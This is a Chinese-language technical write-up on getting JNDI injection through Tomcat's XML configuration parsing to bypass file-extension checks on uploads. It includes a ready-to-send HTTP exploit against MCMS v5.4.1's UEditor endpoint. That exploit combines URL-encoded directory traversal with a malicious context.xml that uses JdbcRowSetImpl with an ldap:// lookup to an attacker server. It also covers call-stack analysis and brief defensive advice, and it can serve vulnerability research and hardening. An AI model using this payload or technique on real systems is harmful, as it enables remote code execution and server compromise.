绕过后缀校验:利用 Tomcat XML 配置机制实现 JNDI 注入
字数 1334 2025-11-21 12:46:16
利用Tomcat XML配置机制实现JNDI注入绕过文件上传校验
技术原理分析
Tomcat XML配置解析机制
Tomcat在启动和运行过程中会扫描特定目录下的XML配置文件,并对其中的特定标签进行解析处理。该机制会调用XML文件中指定类的setter方法,类似于FastJSON的反序列化机制。
核心触发点
1. 启动阶段解析
- 主入口:
Bootstrap.class的load方法 - 调用链:
Bootstrap.load()→Catalina.load()→ 创建Digester实例 - 解析文件:
conf/server.xml
2. XML解析过程
- 使用
Digester解析XML内容 - 对
Listener字段的className属性指定类进行实例化 - 调用
SetPropertiesRule#begin进行属性赋值 - 通过
IntrospectionUtils#setProperty反射调用setter方法
3. 关键目录
conf/server.xml- 主配置文件conf/Catalina/localhost/- 虚拟主机配置目录webapps/*/META-INF/context.xml- Web应用上下文配置
攻击向量分析
可利用的XML配置位置
1. server.xml配置注入
<Listener className="恶意类名"
property1="恶意值"
property2="jndi:ldap://攻击者地址"/>
2. Context配置注入
<Context>
<Manager className="com.sun.rowset.JdbcRowSetImpl"
dataSourceName="ldap://127.0.0.1:8085/恶意路径"
autoCommit="true"/>
</Context>
自动触发机制
Tomcat存在后台线程,每10秒执行一次检查:
StandarHost容器会触发deployApps方法- 自动重新部署和解析XML配置文件
- 无需重启Tomcat即可触发攻击
实战案例:MCMS v5.4.1漏洞利用
漏洞分析
漏洞文件:com.baidu.ueditor.ActionEnter
- 未对
jsonConfig进行充分校验 savePath参数可目录穿越
关键代码路径:
ActionEnter接收请求参数ConfigManager.getConfig()直接获取filePathFormatUploader使用未经验证的savePath拼接文件路径
文件上传限制绕过
允许的文件类型包含.xml:
"fileAllowFiles": [
".png", ".jpg", ".jpeg", ".gif", ".bmp",
".flv", ".swf", ".mkv", ".avi", ".rm", ".rmvb", ".mpeg", ".mpg",
".ogg", ".ogv", ".mov", ".wmv", ".mp4", ".webm", ".mp3", ".wav", ".mid",
".rar", ".zip", ".tar", ".gz", ".7z", ".bz2", ".cab", ".iso",
".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".pdf", ".txt", ".md", ".xml"
]
攻击Payload
HTTP请求:
POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%2f%63%6f%6e%66%2f%43%61%74%61%6c%69%6e%61%2f%6c%6f%63%61%6c%68%6f%73%74%2f%31%27%7d&action=uploadfile HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data;boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="2.xml"
<?xml version='1.0' encoding='utf-8'?>
<Context>
<Manager className="com.sun.rowset.JdbcRowSetImpl"
dataSourceName="ldap://127.0.0.1:8085/SbfXuVhz"
autoCommit="true"/>
</Context>
--------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--
目录穿越技巧:
- 使用
/{.}/{.}/{.}//conf/Catalina/localhost/1进行路径穿越 - 将恶意XML文件上传至Tomcat配置目录
技术要点总结
1. 利用条件
- 存在任意文件上传漏洞
- 可上传XML文件到服务器
- 具有目录穿越能力或可直接写入Tomcat配置目录
- 目标使用Tomcat容器
2. 优势特点
- 绕过传统文件后缀校验
- 利用Tomcat内置机制,无需额外依赖
- 支持自动触发,无需重启服务
- 可与FastJSON等反序列化漏洞结合利用
3. 防御建议
- 严格校验文件上传路径,防止目录穿越
- 限制XML文件上传功能
- 监控Tomcat配置目录的写操作
- 使用安全策略限制JNDI访问
调用栈分析
server.xml解析栈
Digester.startElement()
→ SetPropertiesRule.begin()
→ IntrospectionUtils.setProperty()
→ 反射调用setter方法
Context配置解析栈
MbeansDescriptorsDigesterSource.execute()
→ Registry.loadDescriptors()
→ Digester.parse()
→ ObjectCreateRule.begin()
该技术利用Tomcat的正常功能实现攻击,具有较高的隐蔽性和实用性,是文件上传漏洞利用的重要扩展方式。